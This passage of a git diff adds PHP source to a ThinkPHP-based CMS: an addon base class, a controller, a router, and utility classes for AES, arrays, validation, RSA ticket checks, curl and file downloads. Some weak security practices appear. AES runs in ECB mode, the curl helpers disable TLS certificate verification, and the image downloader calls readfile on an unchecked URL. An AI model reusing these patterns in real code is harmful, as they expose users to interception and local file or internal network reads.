+// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
+// +----------------------------------------------------------------------
+// | Author: 御宅男 <530765310@qq.com>
+// +----------------------------------------------------------------------
+
+// +----------------------------------------------------------------------
+// | 插件基类 插件需要继承此类
+// +----------------------------------------------------------------------
+namespace addons;
+
+use think\facade\Config;
+use think\facade\View;
+
+abstract class Addons
+{
+    // 当前插件标识
+    protected $name;
+    // 插件路径
+    public $addon_path = '';
+    // 插件配置作用域
+    protected $configRange = 'addonconfig';
+    // 插件信息作用域
+    protected $infoRange = 'addoninfo';
+
+    public function __construct()
+    {
+        $this->name = $this->getName();
+        // 获取当前插件目录
+        $this->addon_path = ADDON_PATH . $this->name . DIRECTORY_SEPARATOR;
+
+        // 初始化视图模型
+        $config = ['view_path' => $this->addon_path, 'cache_path' => app()->getRuntimePath() . 'temp' . DIRECTORY_SEPARATOR];
+        $config = array_merge(Config::get('view'), $config);
+        $this->view = clone View::engine('Think');
+        $this->view->config($config);
+
+        // 控制器初始化
+        if (method_exists($this, '_initialize')) {
+            $this->_initialize();
+        }
+    }
+
+    /**
+     * @title 获取当前模块名
+     * @return string
+     */
+    final public function getName()
+    {
+        $data = explode('\\', get_class($this));
+        return strtolower(array_pop($data));
+    }
+
+    /**
+     * 读取基础配置信息.
+     *
+     * @param string $name
+     *
+     * @return array
+     */
+    final public function getInfo($name = '')
+    {
+        if (empty($name)) {
+            $name = $this->name;
+        }
+        $info = Config::get($name, $this->infoRange);
+        if ($info) {
+            return $info;
+        }
+        $info_file = $this->addon_path . 'info.ini';
+        if (is_file($info_file)) {
+            $info = parse_ini_file($info_file, true, INI_SCANNER_TYPED) ?: [];
+            $info['url'] = addon_url($name);
+        }
+        Config::set([$name => $info], $this->infoRange);
+
+        return $info ? $info : [];
+    }
+
+    /**
+     * 获取插件的配置数组.
+     *
+     * @param string $name 可选模块名
+     *
+     * @return array
+     */
+    final public function getConfig($name = '')
+    {
+        if (empty($name)) {
+            $name = $this->name;
+        }
+        $config = Config::get($name, $this->configRange);
+        if ($config) {
+            return $config;
+        }
+        $config_file = $this->addon_path . 'config.php';
+        if (is_file($config_file)) {
+            $temp_arr = include $config_file;
+            foreach ($temp_arr as $key => $value) {
+                $config[$value['name']] = $value['value'];
+            }
+            unset($temp_arr);
+        }
+        Config::set([$name => $config], $this->configRange);
+        return $config;
+    }
+
+    /**
+     * 获取完整配置列表.
+     *
+     * @param string $name
+     *
+     * @return array
+     */
+    final public function getFullConfig($name = '')
+    {
+        $fullConfigArr = [];
+        if (empty($name)) {
+            $name = $this->name;
+        }
+        $config_file = $this->addon_path . 'config.php';
+        if (is_file($config_file)) {
+            $fullConfigArr = include $config_file;
+        }
+
+        return $fullConfigArr;
+    }
+
+    /**
+     * 设置配置数据.
+     *
+     * @param $name
+     * @param array $value
+     *
+     * @return array
+     */
+    final public function setConfig($name = '', $value = [])
+    {
+        if (empty($name)) {
+            $name = $this->name;
+        }
+        $config = $this->getConfig($name);
+        $config = array_merge($config, $value);
+        Config::set([$name => $config], $this->configRange);
+
+        return $config;
+    }
+
+    /**
+     * 设置插件信息数据.
+     *
+     * @param $name
+     * @param array $value
+     *
+     * @return array
+     */
+    final public function setInfo($name = '', $value = [])
+    {
+        if (empty($name)) {
+            $name = $this->name;
+        }
+        $info = $this->getInfo($name);
+        $info = array_merge($info, $value);
+        Config::set([$name => $info], $this->infoRange);
+
+        return $info;
+    }
+
+    /**
+     * 检查基础配置信息是否完整.
+     *
+     * @return bool
+     */
+    final public function checkInfo()
+    {
+        $info = $this->getInfo();
+        $info_check_keys = ['name', 'title', 'description', 'author', 'version', 'status'];
+        foreach ($info_check_keys as $value) {
+            if (!array_key_exists($value, $info)) {
+                return false;
+            }
+        }
+
+        return true;
+    }
+
+    /**
+     * 获取模板引擎
+     * @access public
+     * @param string $type 模板引擎类型
+     * @return $this
+     */
+    protected function engine($engine)
+    {
+        $this->view->engine($engine);
+        return $this;
+    }
+
+    /**
+     * 模板变量赋值
+     * @param string|array $name  模板变量
+     * @param mixed        $value 变量值
+     * @return $this
+     */
+    protected function assign($name, $value = '')
+    {
+        $this->view->assign([$name => $value]);
+        return $this;
+    }
+
+    /**
+     * 解析和获取模板内容 用于输出
+     * @param string $template 模板文件名或者内容
+     * @param array  $vars     模板变量
+     * @return string
+     * @throws \Exception
+     */
+    protected function fetch($template = '', $vars = [])
+    {
+        return $this->view->fetch($template, $vars);
+    }
+
+    /**
+     * 渲染内容输出
+     * @param string $content 内容
+     * @param array  $vars    模板变量
+     * @return string
+     */
+    protected function display($content, $vars = [])
+    {
+        return $this->view->display($content, $vars);
+    }
+
+    //必须实现安装
+    abstract public function install();
+
+    //必须卸载插件方法
+    abstract public function uninstall();
+}

+ 98 - 0
extend/think/addons/Controller.php

@@ -0,0 +1,98 @@
+<?php
+// +----------------------------------------------------------------------
+// | Yzncms [ 御宅男工作室 ]
+// +----------------------------------------------------------------------
+// | Copyright (c) 2018 http://yzncms.com All rights reserved.
+// +----------------------------------------------------------------------
+// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
+// +----------------------------------------------------------------------
+// | Author: 御宅男 <530765310@qq.com>
+// +----------------------------------------------------------------------
+
+// +----------------------------------------------------------------------
+// | 插件控制器
+// +----------------------------------------------------------------------
+namespace think\addons;
+
+use app\common\controller\BaseController;
+use think\App;
+use think\facade\Config;
+use think\facade\Event;
+use think\facade\Lang;
+use think\facade\View;
+use think\helper\Str;
+
+/**
+ * 插件基类控制器.
+ */
+class Controller extends BaseController
+{
+    // 当前插件操作
+    protected $addon = null;
+    protected $controller = null;
+    protected $action = null;
+    // 当前template
+    protected $template;
+
+    /**
+     * 架构函数.
+     */
+    public function __construct(App $app)
+    {
+        //移除HTML标签
+        app()->request->filter('trim,strip_tags,htmlspecialchars');
+
+        // 是否自动转换控制器和操作名
+        $convert = Config::get('url_convert');
+
+        $filter = $convert ? 'strtolower' : 'trim';
+        // 处理路由参数
+        $var = $param = app()->request->param();
+        $addon = isset($var['addon']) ? $var['addon'] : '';
+        $controller = isset($var['controller']) ? $var['controller'] : '';
+        $action = isset($var['action']) ? $var['action'] : '';
+
+        $this->addon = $addon ? call_user_func($filter, $addon) : '';
+        $this->controller = $controller ? call_user_func($filter, $controller) : 'index';
+        $this->action = $action ? call_user_func($filter, $action) : 'index';
+        // 重置配置
+        Config::set(['view_path' => ADDON_PATH . $this->addon . DIRECTORY_SEPARATOR . 'view' . DIRECTORY_SEPARATOR], 'view');
+        // 父类的调用必须放在设置模板路径之后
+        parent::__construct($app);
+    }
+
+    protected function _initialize()
+    {
+        // 渲染配置到视图中
+        $config = get_addon_config($this->addon);
+        $this->view->config(['view_path' => ADDON_PATH . $this->addon . DIRECTORY_SEPARATOR . 'view' . DIRECTORY_SEPARATOR]);
+        $this->view->assign('config', $config);
+    }
+
+    /**
+     * 加载模板输出.
+     *
+     * @param string $template 模板文件名
+     * @param array  $vars     模板输出变量
+     * @param array  $replace  模板替换
+     * @param array  $config   模板参数
+     *
+     * @return mixed
+     */
+    protected function fetch($template = '', $vars = [], $replace = [], $config = [])
+    {
+        $controller = Str::studly($this->controller);
+        if ('think' == strtolower(Config::get('template.type')) && $controller && 0 !== strpos($template, '/')) {
+            $depr = Config::get('template.view_depr');
+            $template = str_replace(['/', ':'], $depr, $template);
+            if ('' == $template) {
+                // 如果模板文件名为空 按照默认规则定位
+                $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $this->action;
+            } elseif (false === strpos($template, $depr)) {
+                $template = str_replace('.', DIRECTORY_SEPARATOR, $controller) . $depr . $template;
+            }
+        }
+
+        return View::fetch($template, $vars);
+    }
+}

+ 74 - 0
extend/think/addons/Route.php

@@ -0,0 +1,74 @@
+<?php
+// +----------------------------------------------------------------------
+// | Yzncms [ 御宅男工作室 ]
+// +----------------------------------------------------------------------
+// | Copyright (c) 2018 http://yzncms.com All rights reserved.
+// +----------------------------------------------------------------------
+// | Licensed ( http://www.apache.org/licenses/LICENSE-2.0 )
+// +----------------------------------------------------------------------
+// | Author: 御宅男 <530765310@qq.com>
+// +----------------------------------------------------------------------
+
+// +----------------------------------------------------------------------
+// | 插件路由
+// +----------------------------------------------------------------------
+namespace think\addons;
+
+use think\App;
+use think\exception\HttpException;
+use think\facade\Event;
+use think\facade\Request;
+
+class Route
+{
+    public static function execute($addon = null, $controller = null, $action = null)
+    {
+        $request = \request();
+        // 是否自动转换控制器和操作名
+        $convert = true;
+        $filter = $convert ? 'strtolower' : 'trim';
+        $addon = $addon ? trim(call_user_func($filter, $addon)) : '';
+        $controller = $controller ? trim(call_user_func($filter, $controller)) : 'index';
+        $action = $action ? trim(call_user_func($filter, $action)) : 'index';
+        Event::trigger('addon_begin', $request);
+        if (!empty($addon) && !empty($controller) && !empty($action)) {
+            $info = get_addon_info($addon);
+            if (!$info) {
+                throw new HttpException(404, 'addon %s not found');
+            }
+            if (!$info['status']) {
+                throw new HttpException(500, 'addon %s is disabled');
+            }
+            $path = app()->request->root();
+            if ("" !== $path) {
+                throw new HttpException(404, 'addon %s not found');
+            }
+            app()->http->setBind();
+            // 设置当前请求的控制器、操作
+            $request->setController($controller)->setAction($action);
+            // 监听addon_module_init
+            Event::trigger('addon_module_init', $request);
+            $class = get_addon_class($addon, 'controller', $controller);
+            if (!$class) {
+                throw new HttpException(404, 'addon controller %s not found', $controller);
+            }
+            $instance = new $class(app());
+            $vars = [];
+            if (is_callable([$instance, $action])) {
+                // 执行操作方法
+                $call = [$instance, $action];
+            } elseif (is_callable([$instance, '_empty'])) {
+                // 空操作
+                $call = [$instance, '_empty'];
+                $vars = [$action];
+            } else {
+                // 操作不存在
+                throw new HttpException(404, 'addon action %s not found', get_class($instance) . '->' . $action . '()');
+            }
+            Event::trigger('addon_action_begin', $call);
+            return call_user_func_array($call, $vars);
+        } else {
+            abort(500, 'addon can not be empty');
+        }
+    }
+}

+ 31 - 0
extend/utils/Aes.php

@@ -0,0 +1,31 @@
+<?php
+
+namespace utils;
+
+class Aes
+{
+    /**
+     * AES ECB 加密
+     * @param $data string 加密数据
+     * @param $key string 秘钥
+     * @return string
+     */
+    public static function encrypt($data, $key)
+    {
+        $data = openssl_encrypt($data, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);
+        return base64_encode($data);
+    }
+
+    /**
+     *  AES ECB 解密
+     * @param $data string 解密数据
+     * @param $key string 秘钥
+     * @return false|string
+     */
+    public static function decrypt($data, $key)
+    {
+        $encrypted = base64_decode($data);
+        return openssl_decrypt($encrypted, 'aes-128-ecb', $key, OPENSSL_RAW_DATA);
+    }
+
+}

+ 309 - 0
extend/utils/Arr.php

@@ -0,0 +1,309 @@
+<?php
+/* file: 数组处理类
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-23 */
+
+namespace utils;
+
+class Arr{
+
+    /**
+     * 节点遍历
+     * @param array $list 遍历的数组
+     * @param string $pk 主键id
+     * @param string $pid 父id
+     * @param string $child 子数组
+     * @param int $root 判断是否存在parent
+     * @return array
+     **/
+    public static function listToTree($list, $pk = 'id', $pid = 'pid', $child = '_child', $root = 0)
+    {
+        // 创建Tree
+        $tree = [];
+        if (is_array($list)) {
+            // 创建基于主键的数组引用
+            $refer = [];
+            foreach ($list as $key => $data) {
+                $refer[$data[$pk]] =& $list[$key];
+            }
+            foreach ($list as $key => $data) {
+                // 判断是否存在parent
+                $parentId = $data[$pid];
+                if ($root == $parentId) {
+                    $tree[] =& $list[$key];
+                } else {
+                    if (isset($refer[$parentId])) {
+                        $parent =& $refer[$parentId];
+                        $parent[$child][] =& $list[$key];
+                    }else {
+                        $tree[] =& $list[$key];
+                    }
+                }
+            }
+        }
+        return $tree;
+    }
+
+    /**
+     * 删除重复的二维数组
+     * $array 需要操作的数组
+     * $field 根据字段进行对比
+     * return array
+     */
+    public static function remove_duplicate($array, $field)
+    {
+        $result = array();
+        foreach ($array as $key => $value) {
+            $has = false;
+            foreach ($result as $val) {
+                if ($val[$field] == $value[$field]) {
+                    $has = true;
+                    break;
+                }
+            }
+            if (!$has) {
+                $result[] = $value;
+            }
+        }
+        return $result;
+    }
+
+    /**
+    * 二维数组取最大值
+    * $array 操作的数组
+    * $field 取某个字段的最大值
+    * $returnArr 返回最大的值(默认)或者最大值所在的数组
+    */
+    public static function get_array_max($array, $field, $returnArr = false)
+    {
+        if(!$array){
+            return 0;
+        }
+        foreach ($array as $k => $v) {
+            $temp[] = $v[$field];
+        }
+        if ($returnArr) {
+            $max = max($temp);
+            foreach ($array as $k => $v) {
+                if ($v[$field] == $max) {
+                    return $v;
+                    break;
+                }
+            }
+        } else {
+            return max($temp);
+        }
+    }
+
+
+    /*
+    * 二维数组排序
+    * $arrays 需要排序的数组
+    * $sort_key 需要排序的字段
+    * $sort_order 正序(默认)还是倒序
+    * $sort_type  排序的类型:数字(默认),字母
+    * return $array
+    */
+    public static function sort_array($arrays, $sort_key, $sort_order = SORT_ASC, $sort_type = SORT_NUMERIC){
+        if (is_array($arrays)) {
+            foreach ($arrays as $array) {
+                if (is_array($array)) {
+                    $key_arrays[] = $array[$sort_key];
+                } else {
+                    return false;
+                }
+            }
+        } else {
+            return false;
+        }
+        array_multisort($key_arrays, $sort_order, $sort_type, $arrays);
+        return $arrays;
+    }
+
+    /*
+     * 查询二维数组中是否含有此值
+     * $value 所需的值
+     * $array 操作的数组
+     * return boolean
+     */
+    public static function deep_in_array($value, $array)
+    {
+        foreach ($array as $item) {
+            if (!is_array($item)) {
+                if ($item == $value) {
+                    return true;
+                } else {
+                    continue;
+                }
+            }
+            if (in_array($value, $item)) {
+                return true;
+            } else if (deep_in_array($value, $item)) {
+                return true;
+            }
+        }
+        return false;
+    }
+
+    /**
+     * 将相同值的二维数组重组一个新的三维数组
+     * $field 需要放到一个数组的字段
+     * $title 作为新数组的标题
+     * $array 需要处理的数组
+     * */
+    //将相同值的二维数组重组一个新的数组。
+    public static function recombine_array($field,$title,$array,$name='name',$list='dataList'){
+        $data=[];
+        foreach ($array as $k => $v) {
+            $arr[]=$v[$field];
+            $arr=array_unique($arr);
+            $num=0;
+            foreach($arr as $key=>$val){
+                if($v[$field]==$val){
+                    $data[$num][$name] = $v[$title];
+                    $data[$num][$list][] = $v;
+                }
+                ++$num;
+            }
+        }
+        return $data;
+    }
+
+    /*
+    将object转array
+     $array 要转化的对象
+     return array
+     */
+    public static function object_array($array)
+    {
+        if (is_object($array)) {
+            $array = (array)$array;
+        }
+        if (is_array($array)) {
+            foreach ($array as $key => $value) {
+                $array[$key] = object_array($value);
+            }
+        }
+        return $array;
+    }
+
+    /*
+    json转array
+    $json 要转化的json串
+    return array
+    */
+    public static function json_to_array($json)
+    {
+        $array = json_decode($json);
+        $arr = [];
+            if ($array) {
+                foreach ($array as $k => $v) {
+                    $arr[] = object_array($v);
+                }
+        }
+        return $arr;
+    }
+
+    /*
+    数组中查找相应的值,只要出现一次即返回,否则返回false;
+    $array 被查找的数组
+    $name 要查找的字段
+    $condition 匹配条件
+    return array
+    */
+    public static function query_array($array, $name, $condition,$key='')
+    {
+        if (!is_array($array)) {
+            return false;
+        }
+        foreach ($array as $item) {
+            if ($item[$name] == $condition) {
+                if($key){
+                    return $item[$key];
+                }
+                return $item;
+            }
+        }
+        return false;
+    }
+
+    /*
+    在数组中查找相应的值,将查找到的结果集全部返回,如果没有找到,则返回false.
+    $array 查找的数组
+    $name 查找的字段
+    $condition 匹配条件
+    return array
+    */
+    public static function query_array_all($array, $name, $condition)
+    {
+        if (!is_array($array)) {
+            return false;
+        }
+        $returnArray = array();
+        foreach ($array as $item) {
+            if ($item[$name] == $condition) {
+                $returnArray[] = $item;
+            }
+        }
+        if (count($returnArray) > 0) {
+            return $returnArray;
+        } else {
+            return false;
+        }
+    }
+
+    /* 
+    获取两个数字之间的值,形成一个新的数组
+    $from 起始值
+    $to 终止值
+    $step -int 步长
+    $str -string 数字结尾处拼接的字符串
+    return array
+    */
+    public static function array_range($from, $to, $step=1,$str=''){
+        $array = array();
+        for ($x=$from; $x <= $to; $x += $step){
+            $array[] = $x.$str;
+        }
+        return $array;
+    }
+
+            //数组中获取ID字符串
+    public static function arrayToString($array, $field, $isStr = true)
+    {
+        $idArr = [];
+        foreach ($array as $k => $v) {
+            if(is_array($field)){
+                foreach($field as $val){
+                    $idArr[]=$v[$val];
+                }
+            }else{
+                $idArr[] = $v[$field];
+            }
+        }
+        if ($isStr) {
+            $idStr = implode(',', $idArr);
+            return $idStr;
+        } else {
+            return $idArr;
+        }
+    }
+
+    /**
+     * 用数组中某个字段的值 作为数组的键
+     * @param array $arr 需要处理的数组
+     * @param string $keyValue 作为键的值
+     * @return array
+     */
+    public static function array_value_key($arr, $keyValue)
+    {
+        $temp = [];
+        foreach ($arr as $item) {
+            if (isset($item[$keyValue])){
+                $temp[$item[$keyValue]] = $item;
+            }
+        }
+        return $temp;
+    }
+
+}

+ 59 - 0
extend/utils/Check.php

@@ -0,0 +1,59 @@
+<?php
+/* file:常用验证函数封装的集合
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-25 */
+
+namespace utils;
+
+class Check{
+
+    /* 
+    判断是否示手机号
+    $phone -string
+    return boolean
+    */
+    public static function check_phone($phone)
+    {
+        $check ="/^1[3456789]\d{9}$/";
+        if (preg_match($check, $phone)) {
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /* 
+    判断是否是邮箱
+    $email -string
+    return boolean
+    */
+    public static function check_email($email)
+    {
+        $preg_email='/^[a-zA-Z0-9]+([-_.][a-zA-Z0-9]+)*@([a-zA-Z0-9]+[-.])+([a-z]{2,5})$/ims';
+        if(preg_match($preg_email,$email)){
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+    /* 
+    判断是否是一个IP
+    $str -string
+    return 
+    */
+    public static function check_ip($str)
+    {
+        $ip = explode('.', $str);
+        for ($i = 0; $i < count($ip); $i++) {
+            if ($ip[$i] > 255) {
+                return false;
+            }
+        }
+        return preg_match('/^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$/', $str);
+    }
+
+    
+
+
+}

+ 49 - 0
extend/utils/CheckTicket.php

@@ -0,0 +1,49 @@
+<?php
+/**
+ * Created by PhpStorm
+ * User Julyssn
+ * Date 2022/11/16 16:52
+ */
+
+namespace utils;
+
+use Exception;
+use think\facade\Config;
+
+class CheckTicket
+{
+
+
+    /**
+     * @param $ticket
+     * @return false|string|array
+     */
+    public static function check($ticket)
+    {
+        Config::set([
+            'public_key' => "-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAv9Tc4Ap1zvbUKSiz7kQ3
+wAvb4mrw4zAgViNzOVUkDZwqPTmx2pzPcUpNrh6qTX4JMwoTDRsu96M2a9DYv8iH
+qjzU0yw3BfJFC4TZNVYCqD8ULVdiMutZeiAfpkx5jGjLGGXqgVFleQ8nmEE5yFdl
+WUTyXjkfCENPdxeiBEp7aqqfKLv3U3t9OssoEYZYSpc+iZbSCyD9kIg8jxFTE2I2
+VFl+9ec0Hl9k7R9CIXaO011oI9RVoauZNxgtUXauvU7GGQjsVHEcBj8qvDhLWVA7
+MrKA9tkKDwyXDlHdBNtLAfwVgn7d7NkveqI8Qh2k7tXZhoP2txE9AiO9lIf7G4Pa
+RQIDAQAB
+-----END PUBLIC KEY-----"
+        ], 'cipher');
+
+        $rsa = new Rsa(new Config());
+
+        try {
+            $data = $rsa->publicDecrypt($ticket);
+            if ($data) {
+                return $data;
+            } else {
+                return false;
+            }
+        } catch (Exception $e) {
+            return false;
+        }
+    }
+
+}

+ 98 - 0
extend/utils/Curl.php

@@ -0,0 +1,98 @@
+<?php
+/* file: curl请求类
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-22 */
+
+namespace utils;
+
+class Curl{
+
+    /* 
+    请求封装-curl_request
+    $url -string 请求地址
+    $method -string 请求方式,默认GET
+    $headers -array 请求头,默认[]
+    $bodys -array 请求体,默认[]
+    $json -boolean 对请求体进行json_encode处理,默认false
+    return $response 请求返回值
+    */
+    public static function curl_request($url, $method = 'GET', $headers = [], $bodys = [], $json=false)
+    {
+        if($json==false){
+            $bodys=json_encode($bodys);
+        }
+        // 创建连接
+        $curl = curl_init($url);
+        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//跳过证书检查
+        curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $method);
+        curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
+        curl_setopt($curl, CURLOPT_FAILONERROR, false);
+        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+        curl_setopt($curl, CURLOPT_HEADER, false);
+        curl_setopt($curl, CURLOPT_POST, true);
+        curl_setopt($curl, CURLOPT_POSTFIELDS, $bodys);
+        // 发送请求
+        $response = curl_exec($curl);
+        if($json && is_string($response)){
+            $response=json_decode($response,true);
+        }
+        curl_close($curl);
+        return $response;
+    }
+
+    /*
+    get请求-curl_get
+    $url -string 请求地址
+    $json -boolean 对返回值进行json_decode处理,默认true进行处理成array
+    */
+    public static function curl_get($url,$json=true)
+    {
+        $curl = curl_init();
+        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);//跳过证书检查、
+        curl_setopt($curl, CURLOPT_CUSTOMREQUEST, "GET");
+        curl_setopt($curl, CURLOPT_URL, $url);
+        curl_setopt($curl, CURLOPT_HTTPHEADER, array("Expect:"));
+        curl_setopt($curl, CURLOPT_FAILONERROR, false);
+        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
+        curl_setopt($curl, CURLOPT_HEADER, false);
+        $return = curl_exec($curl);
+        curl_close ( $curl );
+        if($json){
+            return json_decode($return, true);
+        }else{
+            return $return;
+        }
+        
+    }
+
+    /* 
+    POST请求-curl_post
+    $url -string 请求地址
+    $params - json 请求参数
+    $rj -boolean 对返回值进行json_decode处理,默认true进行处理成array
+    $headers -string 请求头
+    */
+    public static function curl_post($url,$params,$rj=true,$headers=''){
+        if(!$headers){
+            $headers=array(
+                "Content-Type:application/x-www-form-urlencoded",
+            );
+        }
+        $ch = curl_init ();
+        curl_setopt ( $ch, CURLOPT_URL, $url );
+        curl_setopt ( $ch, CURLOPT_RETURNTRANSFER, 1 );
+        curl_setopt ( $ch, CURLOPT_CUSTOMREQUEST, 'POST' );
+        curl_setopt ( $ch, CURLOPT_POSTFIELDS, $params );
+        curl_setopt ( $ch, CURLOPT_HTTPHEADER, $headers );
+        curl_setopt ( $ch, CURLOPT_TIMEOUT, 60 );
+        $result = curl_exec ( $ch );
+        curl_close ( $ch );
+        if($rj){
+            return json_decode($result,true);
+        }else{
+            return $result;
+        }
+
+    }
+
+}

+ 267 - 0
extend/utils/File.php

@@ -0,0 +1,267 @@
+<?php
+/**
+ * lvzheAdmin
+ * @author xiekunyu <raingad@foxmail.com>
+ * @license http://www.apache.org/licenses/LICENSE-2.0
+ */
+namespace utils;
+
+//------------------------
+// 文件下载和图片下载
+//-------------------------
+
+class File
+{
+    /**
+     * 文件下载
+     * @param $file_path
+     * @param string $file_name
+     * @param string $file_size
+     * @param string $ext
+     */
+    public static function download($file_path, $file_name = '', $file_size = '', $ext = '')
+    {
+        if (!$file_name) {
+            $file_name = basename($file_path);
+        }
+        if (!$file_size && in_array(substr($file_path, 0, 1), [".", "/"])) {
+            try {
+                $file_size = filesize($file_path);
+            } catch (\Exception $e) {
+                return "文件不存在";
+            }
+        }
+        if (!$ext) {
+            $ext = pathinfo($file_path, PATHINFO_EXTENSION);
+        }
+        if ($ext && !strpos($file_name, ".")) {
+            $file_name = $file_name . "." . $ext;
+        }
+        $content_type = self::getMime($ext);
+        header("Cache-Control:");
+        header("Cache-Control: public");
+        // 处理中文文件名
+        $ua = $_SERVER["HTTP_USER_AGENT"];
+        $encoded_filename = rawurlencode($file_name);
+        
+        // 文件类型
+        if (preg_match("/Safari/", $ua)) {
+            header('Content-Type: application/octet-stream;charset=utf-8');
+        } else {
+            header("Content-type: {$content_type}");
+        }
+        //IE
+        if (preg_match("/MSIE/", $ua) || preg_match("/Trident\/7.0/", $ua)) {
+            header('Content-Disposition: attachment; filename="' . $encoded_filename . '"');
+        } else if (preg_match("/Firefox/", $ua)) {
+            header('Content-Disposition: attachment; filename*="utf8\'\'' . $file_name . '"');
+        } else if (preg_match("/Safari/", $ua)) {
+            header('Content-Disposition: attachment; filename*=UTF-8\'\'' . $encoded_filename);
+        } else {
+            header('Content-Disposition: attachment; filename="' . $file_name . '"');
+        }
+        // 文件大小
+        if ($file_size) {
+            header("Accept-Length: " . $file_size);
+            header("Content-Length: " . $file_size);
+        }
+        readfile($file_path);exit();
+    }
+
+    /**
+     * 功能:php多种方式完美实现下载远程图片保存到本地
+     * 参数:文件url,保存文件名称,使用的下载方式
+     * 当保存文件名称为空时则使用远程文件原来的名称
+     * @param string $url      请求图片的链接
+     * @param string $filename 保存的文件名
+     * @param int $type        保存图片的类型 0为curl,适用于静态图片,其他为缓冲缓存,适用于动态图片
+     * @return string $filename 返回保存的文件名
+     */
+    public static function downloadImage($url, $filename, $type = 0)
+    {
+        if ($url == '') {
+            return false;
+        }
+        $ext = pathinfo($filename, PATHINFO_EXTENSION);
+        if (!in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'ico', 'tif', 'tiff'])) {
+            $ext = pathinfo($url, PATHINFO_EXTENSION);
+            if (!in_array($ext, ['jpg', 'jpeg', 'png', 'gif', 'bmp', 'ico', 'tif', 'tiff'])) {
+                $ext = 'jpg';
+            }
+            $filename = $filename . "." . $ext;
+        }
+
+        //下载文件流
+        if ($type) {
+            $ch = curl_init();
+            $timeout = 5;
+            curl_setopt($ch, CURLOPT_URL, $url);
+            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
+            $img = curl_exec($ch);
+            curl_close($ch);
+        } else {
+            ob_start();
+            readfile($url);
+            $img = ob_get_contents();
+            ob_end_clean();
+        }
+
+        //保存文件
+        //        try {
+        $fp2 = fopen($filename, 'w');
+        fwrite($fp2, $img);
+        fclose($fp2);
+        return $filename;
+        /*} catch (\think\Exception $e) {
+    //TODO 异常处理
+    return false;
+    }*/
+    }
+
+    /**
+     * 获取文件Mime
+     * @param string $ext
+     * @return string
+     */
+    public static function getMime($ext)
+    {
+        $mimes = [
+            'xml' => 'text/xml',
+            'json' => 'application/json',
+            'js' => 'text/javascript',
+            'php' => 'application/octet-stream',
+            'css' => 'text/css',
+            'html' => 'text/html',
+            'htm' => 'text/html',
+            'xhtml' => 'text/html',
+            'rss' => 'application/rss+xml',
+            'yaml' => 'application/x-yaml',
+            'atom' => 'application/atom+xml',
+            'pdf' => 'application/pdf',
+            'text' => 'text/plain',
+            'png' => 'image/png',
+            'jpg' => 'image/jpeg',
+            'gif' => 'image/gif',
+            'csv' => 'text/csv',
+            'tif' => 'image/tiff',
+            'ai' => 'application/postscript',
+            'asp' => 'text/asp',
+            'au' => 'audio/basic',
+            'avi' => 'video/avi',
+            'rmvb' => 'application/vnd.rn-realmedia-vbr',
+            '3gp' => 'application/octet-stream',
+            'flv' => 'application/octet-stream',
+            'mp3' => 'audio/mpeg',
+            'wav' => 'audio/wav',
+            'sql' => 'application/octet-stream',
+            'rar' => 'application/octet-stream',
+            'zip' => 'application/zip',
+            '7z' => 'application/octet-stream',
+            'bmp' => 'application/x-bmp',
+            'cdr' => 'application/x-cdr',
+            'class' => 'java/*',
+            'exe' => 'application/x-msdownload',
+            'fax' => 'image/fax',
+            'icb' => 'application/x-icb',
+            'ico' => 'image/x-icon',
+            'java' => 'java/*',
+            'jfif' => 'image/jpeg',
+            'jpeg' => 'image/jpeg',
+            'jsp' => 'text/html',
+            'mp4' => 'video/mpeg4',
+            'mpa' => 'video/x-mpg',
+            'mpeg' => 'video/mpg',
+            'mpg' => 'video/mpg',
+            'mpga' => 'audio/rn-mpeg',
+            'ras' => 'application/x-ras',
+            'tiff' => 'image/tiff',
+            'txt' => 'text/plain',
+            'wax' => 'audio/x-ms-wax',
+            'wm' => 'video/x-ms-wm',
+            'apk' => 'application/vnd.android.package-archive',
+            'doc' => 'application/msword',
+            'dot' => 'application/msword',
+            'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
+            'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
+            'docm' => 'application/vnd.ms-word.document.macroEnabled.12',
+            'dotm' => 'application/vnd.ms-word.template.macroEnabled.12',
+            'xls' => 'application/vnd.ms-excel',
+            'xlt' => 'application/vnd.ms-excel',
+            'xla' => 'application/vnd.ms-excel',
+            'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
+            'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
+            'xlsm' => 'application/vnd.ms-excel.sheet.macroEnabled.12',
+            'xltm' => 'application/vnd.ms-excel.template.macroEnabled.12',
+            'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12',
+            'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
+            'ppt' => 'application/vnd.ms-powerpoint',
+            'pot' => 'application/vnd.ms-powerpoint',
+            'pps' => 'application/vnd.ms-powerpoint',
+            'ppa' => 'application/vnd.ms-powerpoint',
+            'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
+            'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template',
+            'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
+            'ppam' => 'application/vnd.ms-powerpoint.addin.macroEnabled.12',
+            'pptm' => 'application/vnd.ms-powerpoint.presentation.macroEnabled.12',
